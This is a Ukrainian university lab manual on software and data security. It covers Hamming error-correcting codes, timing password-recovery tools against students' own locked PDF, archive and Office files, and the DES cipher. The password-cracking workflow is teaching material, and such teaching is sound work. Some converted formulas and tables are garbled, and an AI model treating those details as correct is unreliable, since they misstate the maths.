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ВСТУП

Останніми роками безпека програмного забезпечення стала предметом великого занепокоєння, і, ймовірно, у наступні роки вона погіршуватиметься. Для питань безпеки немає простого рішення. У результаті інтеграція безпеки в розробку програмного забезпечення ускладнилася. Розуміння принципів та методів безпеки програмного забезпечення  допомагає розробникам виявляти та вимірювати безпеку на різних стадіях життєвого циклу розробки програмного забезпечення, і, як результат, веде до безпечного програмного забезпечення. Щоб створити відповідне програмне забезпечення, потрібно вжити завчасних заходів для оцінки безпеки. На початку життєвого циклу розробки програмного забезпечення є очевидним, що видалення вразливостей, виправлення дефектів і усунення небажаних ускладнень призводить до безпечної розробки програмного забезпечення. Спроби інтегрувати безпеку в кінці процесу розробки програмного забезпечення додають складності, вартості та часу до процесу.
Зміни, внесені на етапі проектування, потребують менших витрат, оскільки на цьому етапі розроблюється архітектура програмного забезпечення. Проблеми безпеки, що вирішуються на етапі проектування, впливають на весь життєвий цикл програмного забезпечення. За словами Гері Макгроу, майже половина всіх проблем безпеки виявляється на етапі проектування. Але, якщо недоліки конструкції можуть залишитися непоміченими, витрати на технічне обслуговування можуть бути на 90% вищими за загальну вартість життєвого циклу розробки програмного забезпечення. Вимірювання безпеки протягом усього процесу проектування є критично важливим кроком у підвищенні безпеки під час розробки об’єктно-орієнтованого програмного забезпечення. Безпеку об’єктно-орієнтованого дизайну можна оцінити за допомогою відповідних методологій оцінки та показників.
Тому, представлені в методичних вказівках лабораторні роботи направлено на розуміння проблеми захисту програмного забезпечення та даних, а також виконання певних досліджень з питань безпеки.

Загальні рекомендації до виконання лабораторних робіт

Лабораторні заняття з дисципліни «Безпека програм та даних» призначено для студентів освітньо-кваліфікаційного рівня «бакалавр» спеціальності 121 «Інженерія програмного забезпечення» освітньо-професійної програми «Програмна інженерія».
При виконанні кожної роботи необхідно ознайомитися з теоретичним матеріалом та завданнями до лабораторної роботи. Захист лабораторної роботи відбувається за наступним сценарієм: студент відповідає на поставленні викладачем питання, демонструє оригінальність роботи, пояснює хід виконання лабораторної роботи. Для пояснення деяких результатів та демонстрації набутих навичок студент може скористатись комп’ютером.
Для отримання оцінки з виконання лабораторної роботи студент повинен підготувати звіт та завантажити його до СЕЗН Moodle у встановлені терміни. Звіт з виконання лабораторної роботи повинен мати:
· титульний аркуш;
· тему роботи;
· хід роботи, який позначається у виконанні її завдань;
· результати розрахунків;
· аналіз отриманих результатів виконання завдань;
· скорочені відповіді на запитання для самоперевірки.
Для завантаження до СЕЗН Moodle файл повинен бути у таких форматах, як docx, odt або pdf. Формат pdf є переважним. Якщо розмір файлу перевищує встановлені обмеження для завантаження, скористайтесь будь-яким графічним редактором для зменшення розміру наявних у ньому рисунків. Не використовуйте програмне забезпечення, що використовується для об’єднання файлів у один архівний файл. Звіт, який завантажено у архівному файлі буде вважатись непідготовленим.

ТЕМА 1. Базова модель безпеки інформаційних систем
Лабораторна робота №1. Кодування з коригуванням помилок
Тема: Вивчення методу захисту даних від випадкових змін 
Мета: Вивчити метод кодування Хемінга. Формування вмінь та навичок використання методу кодування Хемінга та реалізації його в програмному забезпечені
Теоретичні відомості
Помилки у збережених даних можуть виникати з різних причин. Наприклад, сплеск напруги електроживлення зумовлює помилки в оперативній пам'яті або при передаванні даних у мережі, а порушення властивостей матеріалу носія інформації пристрою збереження при нагріванні, електромагнітному або механічному впливі веде до її зміни. Для захисту від таких помилок використовуються коди, що можуть виявляти та виправляти помилки. При цьому кожному слову в пам'яті особливим чином додаються додаткові біти. Коли слово зчитується, додаткові біти застосовуються для перевірки наявності помилок. 
При кодуванні відбувається перетворення елементів даних у відповідні їм числа – кодові символи. Кожному елементу відповідає унікальна сукупність кодових символів, яка називається кодовою комбінацією. Множина можливих кодових символів називається кодовим алфавітом, а їх кількість m є основою коду.
Відстань Хемінга – це мінімальна кількість розбіжностей між двома різними припустимими кодовими словами. У перешкодостійкому кодуванні відстань Хемінга відіграє основну роль. Розглянемо наступний 4-бітний код:
	Приклад 1. Найпростіший 4-бітний код з відстанню Хемінга, що дорівнює одиниці. Такий код широко використовується в комп’ютерній техніці, незважаючи на неможливість знайти помилки.


	0 → 0000;
	4 → 0100;
	8 → 1000;
	12 → 1100;

	1 → 0001;
	5 → 0101;
	9 → 1001;
	13 → 1101;

	2 → 0010;
	6 → 0110;
	10 → 1010;
	14 → 1110;

	3 → 0011;
	7 → 0111;
	11 → 1011;
	15 → 1111.


Це звичайний двійковий код, що вміщує у свої 4 біти 16 символів. За його допомогою можна закодувати 16 літер алфавіту. Як неважко переконатися, два будь-яких символи відрізняються щонайменше на один біт, отже, відстань Хемінга для такого коду дорівнює одній одиниці, що умовно позначається як 
[image: image1.emf]d= 1

.
Наведемо інший 4-бітний код:
	Приклад 2. Найпростіший 4-бітний код з відстанню Хемінга, що дорівнює двом та здатний знайти одиночні помилки.


	0 → 0000;
	4 → 1001;
	
	

	1 → 0011;
	5 → 1010;
	
	

	2 → 0101;
	6 → 1100;
	
	

	3 → 0110;
	7 → 1111;
	
	


Два будь-яких символи цього коду відрізняються як мінімум у двох позиціях, за рахунок чого інформаційна ємність коду зменшилася з 16 до 8 символів. Вісім комбінацій у коді оголошено забороненими, завдяки чому код здатний виявити одиночні помилки.
Наприклад, у символі «1010» спотворимо один довільний біт. Нехай для визначеності це буде другий зліва біт, тоді змінений символ буде мати такий вигляд: «1110». Оскільки комбінація «1110» є забороненою, декодер зможе виявити наявність помилки, хоча не зможе  її виправити. Для виправлення навіть одного-єдиного збійного біту потрібно збільшити відстань Хемінга як мінімум до трьох. Двійковий 4-бітний код с 
[image: image2.emf]d= 3

 здатний вміщати в собі лише два різних символи, тому є непрактичним. 
Розглянемо 10-бітний код з 
[image: image3.emf]d= 5

.
	Приклад 3. 10-бітний код, з відстанню Хемінга, що дорівнює 5, який здатний виявити 4‑бітні помилки, а виправляти 2-бітні.


	0000000000
	0000011111
	1111100000
	1111111111


У символі «0000011111» змінимо два будь-яких біта, та отримаємо наприклад двійкову послідовність «0100110111». Оскільки така комбінація є забороненою, декодер встановлює, що відбулася помилка. Якщо кількість збійних біт менша відстані Хемінга хоч би наполовину, то декодер може гарантовано відновити вихідний символ. У наведеному коді між двома будь-якими дозволеними символами існує не менше ніж п'ять розбіжностей, тому викривлення двох біт у дозволеному символі приводить до утворення нового символу. Відстань Хемінга між ним та оригінальним символом дорівнює числу біт, що змінено k. Відстань до найближчого сусіднього символу дорівнює: 
[image: image4.emf]d − k

 (в нашому випадку 3). Іншими словами, доки 
[image: image5.emf]d= 5

 декодер може гарантовано відновити двійковий код символу. У тих  випадках, коли 
[image: image6.emf]d>k>d − k

, успішне відновлення вже не гарантується, але за сприятливих обставин усе-таки виявляється принципово вірогідним. Наприклад, якщо в коді символу «0000011111» ушкодити чотири біти так, що буде мати вигляд «0100110101» і спробувати відновити його, то процес відновлення буде мати наступний вигляд:
	Приклад 4. Схема відновлення 4-бітної помилки у 10-бітному коді з відстанню Хемінга, що дорівнює 5.


	0000000000
	0000011111
	1111100000
	1111111111

	0100110101
	0100110101
	0100110101
	0100110101

	–––––––––––
	–––––––––––
	–––––––––––
	–––––––––––

	5 відмінностей
	4 відмінності
	6 відмінностей
	5 відмінностей


Знайшовши помилку, декодер послідовно звіряє ушкоджений символ з усіма дозволеними символами алфавіту, прагнучи знайти символ, який найбільше відповідає ушкодженому символу. Таким символом є той, що має найменше число відмінностей, а саме, кількість відмінностей не повинна перевищувати більше ніж у 
[image: image7.emf]d − k

 позиціях порівняно з ушкодженим символом. У цьому випадку символ, що відновлюється збігається з правильним. Але якщо чотири ушкоджених біти будуть розподілені таким чином: «0111111111», то декодер сприйняв би цей символ за «1111111111» і відновлення за наведеною схемою буде неправильним. Здатність коду до виправлення ушкоджень визначається наступним: для того щоб виявити r помилок, відстань Хемінга повинна бути більшою або дорівнювати 
[image: image8.emf]d − k>k

, а для корегування r помилок відстань Хемінга повинна бути принаймні на одиницю більша ніж подвійна величина r (табл.1.1).
	Таблиця 1.1 
Здатність простого коду Хемінга до корегування помилок


	Характеристика
	Величина

	виявлення помилок:
	
[image: image9.emf]d>k>d − k



	виправлення помилок:
	
[image: image10.emf]d − 1



	інформаційна ємність:
	
[image: image11.emf]2

n /d




Теоретично кількість помилок, що можна виявити, необмежена, практично інформаційна ємність кодових слів стрімко зменшуються зі зростанням d. 
Розглянемо інший підхід, який запропонував Ричард Хемінг. Нехай усі біти, номери яких є ступенем двійки, будуть відігравати роль контрольних бітів, а ті що залишилися будуть інформаційними бітами повідомлення. Кожний контрольний біт має відповідати за парність суми для деякої належної йому групи бітів. При цьому один і той самий інформаційний біт може входити до різних груп, таким чином, один інформаційний біт буде впливати на декілька контрольних, а інформаційна ємність слова значно зросте. Для того щоб позначити, які біти контролюють інформаційний біт, що стоїть у позиції j, необхідно розкласти число j за ступенями двійки (табл.2). У двійковому коді праворуч записуються цифри молодших розрядів, а ліворуч – старших.
Розглянемо розрахунок контрольної суми 4-бітного символу «1010». Після резервування розрядів для контрольних бітів, які в тексті позначено літерами, символ буде мати вигляд: D101C0BA. Тепер відповідно до табл.1.2 обчислимо значення бітів, які позначено літерами A, B, C и D:
· біт A, контролює біти 3, 5 та 7 і дорівнює нулю, тому що їх сума (0 + 1 + 1) парна;
· біт B, контролює біти 3, 6 та 7 і дорівнює одиниці, тому що їх сума (0 + 0 + 1) непарна;
· біт C, контролює біти 5, 6 та 7 і дорівнює нулю, тому що їх сума (1 + 0 + 1) парна;
· біт D не відіграє ніякої ролі, тому що він може контролювати лише ті біти, які розташовано ліворуч від нього, а вони відсутні.
Таблиця 1.2 
Розподіл бітів на контрольні та інформаційні для одного байта
	Позиція
	Якими бітами контролюються

	1(А)
	20=1
	Контрольний біт

	2(В)
	21=2
	Контрольний біт

	3
	20 + 21 =1+2=3
	Контролюються бітами 1 і 2

	4(С)
	22=4
	Контрольний біт

	5
	20 + 22 =1+4=5
	Контролюються бітами 1 і 4

	6
	21 + 22 =2+4=6
	Контролюються бітами 2 і 4

	7
	20 + 21 + 22=1+2+4=7
	Контролюються бітами 1, 2 і 4

	8(D)
	23=8
	Контрольний біт


Таким чином, отримане кодове слово буде мати такий вигляд: «1010010», де підкреслено контрольні біти.
Припустимо, що слово було викривлено в одній позиції і стало мати такий вигляд: 1110010, де підкреслено ушкоджений біт. Розглянемо можливість виявлення такої помилки. Біт A має дорівнювати 0, тому що сума 3-го, 5-го та 7-го бітів  парна (0 + 1 + 1). Це відповідає істині. Біт B має дорівнювати 0, тому що сума 3-го, 6-го та 7-го бітів парна (0 + 1 + 1), але в слові він дорівнює одиниці. Біт C має дорівнювати 1, тому що сума 5-го, 6-го та 7-го бітів непарна (1 + 1 + 1), а в слові він дорівнює нулю. Отже, контрольні біти в позиціях 2 (біт B) та 4 (біт C) виявляють розбіжність з дійсністю. Їх сума 2 + 4 = 6 відповідає позиції ушкодженого біту. Якщо його інвертувати, то код слова буде відновлено в первинному вигляді. Позиція помилки успішно виявляється і у випадку ушкодження одного з контрольних бітів, тому що кожний інформаційний біт контролюється декількома бітами, а один контрольний біт буде вказувати сам на себе.
Оскільки номери контрольних бітів становлять ступінь двійки, то із зростанням розрядності кодового слова вони розташовуються все рідше й рідше. Таким чином, із збільшенням розрядності кодового блоку, що оброблюється, ефективність кодів Хемінга зростає (табл.1.3).
Таблиця 1.3 
Результат розрахунку ефективної інформаційної ємності кодів Хемінга для слів різної довжини
	Величина кодового блоку
	Кількість інформац. бітів
	Ефективність

	1
	0
	0.0 %

	2
	0
	0.0 %

	4
	1
	25.0 %

	8
	4
	50.0 %

	16
	11
	68.8 %

	32
	26
	81.3 %

	64
	57
	89.1 %

	128
	120
	93.8 %

	256
	247
	96.5 %

	512
	502
	98.0 %

	1024
	1013
	98.9 %

	2048
	2036
	99.4 %

	4096
	4083
	99.7 %

	8192
	8178
	99.8 %

	16384
	16369
	99.9 %

	32768
	32752
	100.0 %

	65536
	65519
	100.0 %

	131072
	131054
	100.0 %

	262144
	262125
	100.0 %

	524288
	524268
	100.0 %


З наведеного видно, що при обробці блоків, які досягають 1024 біти та більше, накладними витратами на контрольні біти можна знехтувати.
Завдання до лабораторної роботи №1

1 Використовуючи таблицю ASCII кодів перекладіть своє прізвище або ім’я (але менш чим 5 літер) у послідовність цифр 16-річної системи числення, а потім у послідовність двійкових біт. Користуючись викладеним теоретичним матеріалом доповніть послідовність двійкових біт бітами коду Хемінга. Змініть значення N-ного біту отриманої послідовності на протилежне та покажіть можливість його відновлення (де N – це ваш номер за журналом академічної групи). У доповнення до N-того біту також змініть на протилежне значення (35 – N) біту. Чи є можливість тепер відновити інформацію?
2 Розробити додаток, що дозволяє кодувати текстові файлі за схемою «ASCII-код → двійковий код → код Хемінга» та відновлювати їх. Передбачити можливість задавання довжини бітових блоків, на які розбивається вміст файлу при кодування бітами Хемінгу.
3 Перевірте можливість додатку відновити текст файлу, якщо в блоках кодування змінюється не більше одного біту. 
4 Підготуйте звіт з виконаними завданнями та необхідними поясненнями.
Запитання для самоперевірки

1 Що зветься відстанню Хемінга?
2 Скільки значень залишиться в 4-бітному коді, якщо відстань Хемінга дорівнює 2?
3 Яка відстань Хемінга між 1010 та 1100?
4 Скільки контрольних біт в одному байті?
5 Скільки контрольних біт необхідно для передавання одного байту?
6 Який розмір повинен мати кодовий блок, щоб кількість інформаційних бітів мала кратність 8?

ТЕМА 2. ТЕХНОЛОГІЇ ЗАХИСТУ ФАЙЛІВ
Лабораторна робота №2. Стійкість парольного захисту електронних документів та архівів
Тема: Стійкість парольного захисту електронних документів та архівів
Мета: Формування вмінь і навичок створення стійких паролів. Отримання знань методів і способів подолання парольного захисту та навичок використання відповідного програмного забезпечення. Закріплення знань файлової структури, вмінь і навичок використання можливостей віртуальних принтерів, архіваторів, текстових і табличних редакторів для організації парольного захисту.
Теоретична частина
Практично всі користувачі використовують та створюють PDF-файли, офісні документи, архівують свої файли за допомогою популярних архіваторів ARJ, ZIP, RAR та захищають їх паролями, за допомогою яких вміст цих файлів шифрується. Для кращого запам’ятовування користувачі створюють нескладні паролі, які базуються на звичайних словах (кажуть — слова зі словника). Тому що алгоритм шифрування файлів певного типу є відомим, то підбір таких паролів не складає особливих труднощів і у більшості випадків має певне програмне забезпечення. Зрозуміло, що саме широко розповсюджене програмне забезпечення можна використовувати для визначення стійкості паролю до файлів. До таких програм слід віднести: Advanced Archive Password Recovery (ARCHPR), Advanced ARJ Password Recovery (AAPR), Advanced ZIP Password Recovery (AZPR), Advanced RAR Password Recovery (ARPR), Advanced PDF Password Recovery (APDFPR), Advanced Office Password Recovery (AOPR) чи подібними до них. Всі вони використовують наступні загальні алгоритми:
· послідовний перебір різних комбінацій символів (Brute-force чи „грубої сили”);
· послідовний перебір по масці, якщо відома хоча б частина паролю;
· атака по словнику, коли перебір виконується серед найуживаніших паролів;
· гібридний метод (атака по словнику + метод послідовного перебору).
Крім цього, для архівів можливий злам на основі частини "відомого тексту" (known-plaintext attacks).
На сьогодні програми зламу захисту архівів здатні:
· забезпечувати швидкість перебору паролів понад два мільйони в секунду;
· підтримувати всі методи стискування;
· опрацьовувати саморозпаковуючі архіви;
· встановлювати параметри перебору паролів: діапазон кодової довжини, кодову сторінку, набір символів, тощо;
· підтримувати не англійські літери при використанні методу "грубої сили";
· атакувати за допомогою словника" з можливістю його зміни.
Використовувати програмне забезпечення для підбору пароля доцільно у випадку його втрати. Але цими самими засобами можуть скористатися зловмисники для доступу до захищених даних. Тому для надійного шифрування необхідно встановлювати стійкі паролі із довжиною від 10 символів.
Жоден пароль не може бути на 100 відсотків безпечним. Його завжди можна відгадати або розшифрувати. Проте надійний пароль важко розкрити стороннім особам. Такі паролі слід використовувати у всіх випадках, коли потрібен пароль: наприклад, для входу на комп'ютер, в обліковому записі Інтернету або для захисту документів.
Надійні паролі:
· відрізняються для різних ідентифікаторів;
· складаються не менше, ніж із семи знаків;
· містять одночасно великі й малі літери, цифри та спеціальні символи на позиціях від другої;
· мають вигляд випадкової сукупності знаків;
· не містять повторюваних знаків;
· не містять послідовних знаків, наприклад, 1234, abсd або qwerty;
· не дають змоги розпізнати будь-яку закономірність, тематику або цілі слова будь-якою мовою;
· не використовують цифри або символи замість подібних до них знаків (наприклад, $ замість S або 1 замість l), оскільки це полегшує розкриття паролю;
· не містять частково або повністю імені користувача для входу до комп’ютера, інтернету або до мережі;
· не вказують на особисті дані, ключові дати чи дані близьких людей.
У ІТ нормативах з питань безпеки часто є вимога щодо періодичності зміни паролів, наприклад, кожні три місяці. Також часто вимогою передбачається, щоб новий пароль повністю відрізнявся від старого, і в ньому не було жодної частини старого паролю.
Завдання до лабораторної роботи №2
1 Створіть файл з описом засобів захисту даних. Обʼєм документа повинен становити 1-2 сторінки.
2 Задайте імʼя цьому файлу Proba.docx. 
3 Створіть у редакторі електронних таблиць MS Excel наступну таблицю для фіксування часу зламу паролів різної довжини документів різних типів:
Тривалість зламу паролів різної довжини документів різних типів, с
	Тип документу
	Довжина паролю (символів)

	
	1
	2
	3
	4
	5
	6
	N

	PDF
	
	
	
	
	
	
	

	RAR
	
	
	
	
	
	
	

	ZIP
	
	
	
	
	
	
	

	DOCX
	
	
	
	
	
	
	


4 Відкрийте файл Proba.docx у текстовому процесорі та експортуйте його  у формат PDF під назвою Proba1.pdf, заборонивши копіювання та друк його фрагментів. Для цього:
· розпочніть друк завантаженого документа на віртуальному принтері PDF Creator;
· у вікні основних параметрів PDF-файла перейдіть у вікно додаткових параметрів створення;
· оберіть “параметри PDF-документа”, знайдіть і встановіть на його відповідній закладці прапорець “Використовувати захист”, прапорець задання паролю та редагування, та прапорці, які забороняють копіювання та друк PDF-документа;
· закрийте вікно додаткових параметрів із збереженням внесених змін;
· задайте пароль із одного символу для його редагування.
5 Повторіть наведене з різною довжиною паролю і збережіть файл Proba.docx у форматі PDF під назвами Proba2.pdf, Proba3.pdf, Proba4.pdf, Proba5.pdf, з  паролями у 2, 3, 4 та 5 символів чи знаків, відповідно.
6 Збережіть файл Proba.docx у форматі PDF під назвою Proba6.pdf з шифруванням паролем його вмісту. Для цього:
· відкрийте файл Proba.docx у текстовому процесорі MS Word 2010;
· розпочніть створення PDF файлу, використовуючи пункт стрічки меню “Файл – Зберегти як”, після чого вкажіть у відповідному вікні назву нового файлу та його тип;
· за допомогою кнопки “Параметри” у нижній частині цього вікна відкрийте вікно параметрів PDF файла, встановіть у ньому прапорець “Шифрувати документ за допомогою пароля” та збережіть внесені зміни;
· встановіть пароль для його редагування.
7 Експортуйте файл Proba.docx у формат PDF із назвою ProbaS.pdf, зашифрувавши його послідовними знаками, наприклад, 1234, abсd або qwerty.
8 Експортуйте файл Proba.docx у формат PDF із назвою ProbaN.pdf, зашифрувавши його надійним, на вашу думку, паролем.
9 Підберіть паролі до створених захищених PDF-документів за допомогою програми Advanced PDF Password Recovery (APDFPR). Для цього почергово:
9.1  Самостійно завантажте програму APDFPR (рис. 2.1), врахувавши, що її створено корпорацією Elcomsoft;
9.2  За допомогою кнопки “Відкрити” оберіть PDF файл для підбору паролю;
9.3  У списку “Тип атаки” оберіть “За словником”;
9.4  Для початку підбору натисніть кнопку “Старт”;
9.5 Якщо підібрати пароль за словником не вдалося, то самостійно відновіть його послідовним перебором, обираючи необхідний набір символів та максимальну довжину (закладка “Довжина”). Тривалість вдалого підбору в секундах, яку визначає сама програма, занесіть у перший рядок з даними порівняльної таблиці. Коли прогнозована тривалість підбору паролю перевищує 10 хвилин, то зупиніть процес підбору та внесіть у т[image: image34.png]KL
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аблицю прогнозований час перебору.
Рис. 2.1. Вибір типу підбору паролю у програмі APDFPR
10  Зробіть ZIP та RAR архіви із файлу Proba.docx із назвами Proba1.zip, Proba2.zip, Proba3.zip, Proba4.zip, Proba5.zip, Proba6.zip, ProbaS.zip, ProbaN.zip, Proba1.rar, Proba2.rar, Proba3.rar, Proba4.rar, Proba5.rar, Proba6.rar, ProbaS.rar, ProbaN.rar, де остання цифра назви вказує на довжину пароля чи його надійність. Для цього:
· у контекстному меню файлу Proba.docx оберіть пункт “Пакувати до архіву”;
· у вікні архіватора, яке з'явиться на екрані, на закладці “Загальні” вкажіть назву файлу архіву та його формат, а на закладці “Додатково” натисніть кнопку “Встановити пароль” для його задання;
· завершіть створення архіву.
11  Підбір паролів до створених захищених архівів виконайте за допомогою програми Advanced Archive Password Recovery (ARCHPR), для чого використовуйте способи словника та послідовного перебору (рис. 2.2). Тривалість процесу підбору в секундах, яку визначає програма, занесіть відповідно у другий та третій рядки з даними порівняльної таблиці. Якщо прогнозована тривалість процесу підбору перевищує 7 хвилин, то зупиніть процес підбору та внесіть у таблицю прогнозований час перебору.
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Рис. 2.2. Вибір типу процесу підбору паролю у програмі ARCHPR
12  Збережіть файл Proba.docx під назвами Proba1.docx, Proba2.docx, Proba3.docx, Proba4.docx, Proba5.docx, вказуючи паролі для їх відкриття відповідної довжини.
13  Збережіть файл Proba.docx під назвами Proba6.docx, ProbaS.docx, ProbaN.docx, задаючи відповідно паролі для шифрування довжиною 6 символів, простої послідовності символів та надійний пароль.
14 Виконайте підбір паролів до створених захищених архівів за допомогою програми Advanced Office Password Recovery (AOPR), використовуючи способи словника та послідовного перебору (рис. 2.3). Тривалість процесу підбору в секундах, яку визначає програма, занесіть у четвертий рядок порівняльної таблиці. Якщо прогнозована тривалість процесу перебору перевищує 7 хвилин, то зупиніть процес підбору та внесіть у таблицю прогнозований час перебору.
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Рис. 2.3. Вибір типу процесу підбору паролю у програмі AOPR
15  На основі даних порівняльної таблиці побудуйте графіки залежності тривалості зламу від довжини паролю для різних форматів файлів. Який характер залежності при цьому спостерігається? Чому графіки відрізняються між собою та від графіків одногрупників? Спрогнозуйте тривалість зламу паролів довжиною 10 символів.
16 Підготуйте звіт.
Запитання для самоперевірки

1 Які види зламу використовуються для документів і архівів, зашифрованих паролем?
2 Який додатковий вид зламу застосовується до архівів? Як такий злам реалізувати?
3 Які вимоги висуваються до надійних паролів?
4 Чому не доцільно дозволяти програмам запам’ятовувати паролі?
5 Чому не варто встановлювати один пароль для різних ресурсів?
6 Які файли не доцільно включити у спільні архіви при шифруванні паролем? Чому?

ТЕМА 3. Технології криптографічного захисту
Лабораторна робота №3. Симетричні криптосистеми. Алгоритм DES
Тема: Вивчення алгоритму шифрування DES.
Мета: Набути навичок виконання шифрування та дешифрування за алгоритмом DES, а також програмної його реалізації.
Теоретична частина
DES (Data Encryption Standard) - cиметричний алгоритм шифрування, в якому один ключ використовується як для шифрування, так і для розшифрування даних. DES розроблений фірмою IBM і затверджений урядом США в 1977 році як офіційний стандарт (FIPS 46-3). DES має блоки по 64 біт і 16 циклову структуру мережі Фейстеля, для шифрування використовує ключ з довжиною 56 біт. Алгоритм використовує комбінацію з нелінійних (S-блоки) і лінійних (перестановки E, IP, IP-1) перетворень. Для DES рекомендовано декілька режимів:
·  режим електронної кодової книги (ECB - Electronic Code Book),
·  режим зчеплення блоків (СВС - Cipher Block Chaining),
·  режим зворотного зв'язку по шіфротекста (CFB - Cipher Feed Back),
·  режим зворотного зв'язку по виходу (OFB - Output Feed Back).
У 1972 році, після проведення дослідження потреб уряду США в комп'ютерній безпеці, американське Національне Бюро Стандартів (тепер Національний Інститут Стандартів і Технологій) визначило необхідність в загальноурядовому стандарті шифрування некритичної інформації. 15 травня 1973, після консультації з АНБ (Агентством національної безпеки), НБС оголосило конкурс на шифр, який задовольнить суворим критеріям проекту, але жоден конкурсант не забезпечував виконання всіх вимог. Другий конкурс був початий 27 серпня 1974. Представлений IBM шифр Lucifer, який був заснований на ранньому алгоритмі Хорста Фейстеля, визнали прийнятним.
17 березня 1975 запропонований алгоритм DES було видано у Федеральному Реєстрі. У наступному році було проведено 2 відкритих симпозіуму по обговоренню цього стандарту, де піддалися жорсткій критиці зміни, внесені АНБ до алгоритму: зменшення початкової довжини ключа і S-блоки (блоки підстановки), критерії проектування яких не розкривалися. АНБ підозрювалося в свідомому ослабленні алгоритму з метою, щоб АНБ могло легко переглядати зашифровані повідомлення. Сенатом США було проведено перевірку дій АНБ, результатом якої стала заява, в якій йшлося про те, що в процесі розробки DES АНБ переконало IBM, що зменшеної довжини ключа буде достатньо для всіх комерційних додатків, що використовують DES, допомагало в розробці S-перестановок, а також, що остаточний алгоритм DES був кращим, на їх думку, алгоритмом шифрування, був позбавлений статистичної або математичної слабкості. Також було виявлено, що АНБ ніколи не втручалося в розробку цього алгоритму.
Частина підозр у прихованій слабкості S-перестановок була знята в 1990, коли були опубліковані результати незалежних досліджень Елі Біхама (Eli Biham) і Аді Шаміра (Adi Shamir) по диференціальному криптоаналізу - основному методу злому блочних алгоритмів шифрування із симетричним ключем. S-блоки алгоритму DES виявилися більш стійкими до атак, ніж ті, що задавали випадково. 
DES є блоковим шифром. Вхідними даними для блокового шифру є блок розміром n біт та k-бітний ключ. На виході, після застосування шифрувального перетворення, отримуємо n-бітний зашифрований блок. Блокові шифри реалізуються шляхом багаторазового застосування до вихідних блоків деяких базових перетворень. Навіть незначні відмінності вхідних даних як правило призводять до істотної зміни результату.
Блокове шифрування на основі мережі Фейстеля
Відповідно до простого опису цього методу розглянемо можливість шифрування деякої інформації у двійковому вигляді (знаходиться у памʼяті компʼютера, на іншому  пристрої, у файлі).
Алгоритм шифрування полягає в тому, що інформація розбивається на блоки однакової (фіксованої) довжини. Отримані блоки називаються вхідними. У випадку, якщо довжина вхідного блоку менша за розмір, що обраний алгоритм шифрування здатен шифрувати одночасно (розмір блоку), то блок збільшується будь-яким засобом. Як правило довжина блоку є ступеню двійки, наприклад, 64 біта або 128 біт.
Розглянемо операції, що виконуються тільки з одним блоком. У процесі шифрування з іншими блоками виконуються такі самі операції. 
Обраний блок поділяється на дві частини (підблоки) однакового розміру — на ліву (
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) та праву (
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[image: image14.emf]L

0

) змінюється функцією F з використанням раундового ключа 
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Результат додається по модулю 2 («XOR») до «правого підблоку» 
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: 
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Результат використовується у наступному раунді в якості «лівого підблоку» 
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«Лівий підблок» 
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 поточного раунду буде використовуватись у наступному раунді  в якості «правого підблоку» 
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За певним математичним правилом обчислюється раундовий ключ 
[image: image24.emf]r+ 1

 — той, що буде використовуватись у наступному раунді.
Наведені операції виконуються N-1 раз, де N — кількість раундів в обраному алгоритмі шифрування. При переході від одного раунду (етапу) до наступного змінюються ключі: 
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замінюється на 
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 і т.д. 
Дешифрування інформації відбувається подібно до шифрування, з тією різницею, що  ключі ідуть у зворотньому порядку - від (N-1) -го ключа до першого. 
Для реалізації алгоритму необхідно використовувати певні функції. У своїх роботах  Хорст Фейстель замість терміну «функція» використовував термін «блок» тому, що мова йшла про блоковий шифр і припускалось, що s- та p-блоки будуть цифровими мікросхемами (цифровими блоками). Таким чином було описано два типи блоків для виконання перетворень (функцій 
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):
    блок підставки (s-блок, англ. s-box);
    блок перестановок (p-блок, англ. p-box).
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Шифрування
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Дешифрування


Рис. 3.1. Шифрування та дешифрування мережею Фейстеля
Взагалі, будь-яке двійкове перетворення над блоком даних фіксованої довжини може бути реалізовано у вигляді s-блоку. Тому, що існує певна складність побудови N-розрядного s-блоку при великих значеннях N, на практиці застосовують більш прості конструкції.
В алгоритмі DES використовуються пряме перетворення мережею Фейстеля в шифруванні і зворотне перетворення мережею Фейстеля у дешифруванні.
Схема шифрування за алгоритмом DES
DES є блочним шифром - дані шифруються блоками по 64 біти. На вхід алгоритму подається 64 бітний блок явного тексту, а на його виході отримується 64-бітний блок шифрограми. Під час шифрування і дешифрування використовується один і той самий алгоритм (за винятком дещо іншого шляху утворення робочих ключів).
Безпечність алгоритму базується на безпечності ключа. Ключ має довжину 56 біт. Як правило, у вихідному вигляді ключ має довжину 64 біти, де кожний 8-й біт є бітом паритету. Ці контрольні біти можуть бути винесені в останній байт ключа. Ключем може бути довільна 64-бітна комбінація, яку може бути змінено у будь-який момент часу. Деякі комбінації вважаються слабкими ключами, тому що можуть бути легко визначені. 
На найнижчому рівні алгоритм представляється поєднанням двох базових технік шифрування: перемішування і підставки. Цикл алгоритму, з яких складається DES, є комбінацією цих технік, де в якості об'єктів перемішування виступають біти тексту, ключа і блоків підставок. На рис.2 показано загальну роботу алгоритму DES.
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 Рис.3.2. Алгоритм DES
Початкова перестановка
Оригінальний текст розбивається на блоки по 64 біти (8 байт). Кожний оригінальний 64-бітний блок даних подається на вхід алгоритму і над його бітами виконують початкову перестановку відповідно до наступної таблиці:
Таблиця 3.1. Початкова перестановка IP. 
Перший і третій рядок є нумерацією біт в блоці, другий та четвертий — номерами біт в оригінальному блоці
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Таким чином, після початкової перестановки IP, першими трьома бітами блоку стануть 58, 50, 42 біти вхідного блоку, а його 3 останніми бітами - 23, 15 та 7.
Цикли шифрування
Над отриманим після початкової перестановки 64-бітовим блоком виконують 16-циклів перетворення Фейстеля, які наведено вище. У 16-циклах перетворення Фейстеля ключову роль шифрування грає функція F — функція Фейстеля. Для обчислення функції F використовуються функція розширення Е, перетворення S (складається з 8 перетворень S-блоків) і перестановка P (рис.3.3).
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Рис.3.3. Схема обчислення функції F.
Аргументами функції F є 32-бітовий вектор та 48-бітовий ключ ki, який є результатом перетворення 56-бітового початкового ключа шифру k. В якості функції використовується функція розширення Е, яка розширює вхідний 32-бітовий вектор до 48-бітового вектора E шляхом повторення деяких біт відповідно до наступної таблиці:
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У верхньому рядку наведено біти вхідного вектору, у нижньому — розширеного. Повторення номерів у нижньому рядку позначає повторення відповідних біт. Видно, що розширений вектор складається з блоків по 6 біт, які йдуть по порядку, а кожний наступний блок починається з останніх двох біт попереднього блоку. Відмінним є лише перший 6-бітний блок, який починається бітом 32, та останній 6-бітний блок, який закінчується бітом з номером 1.
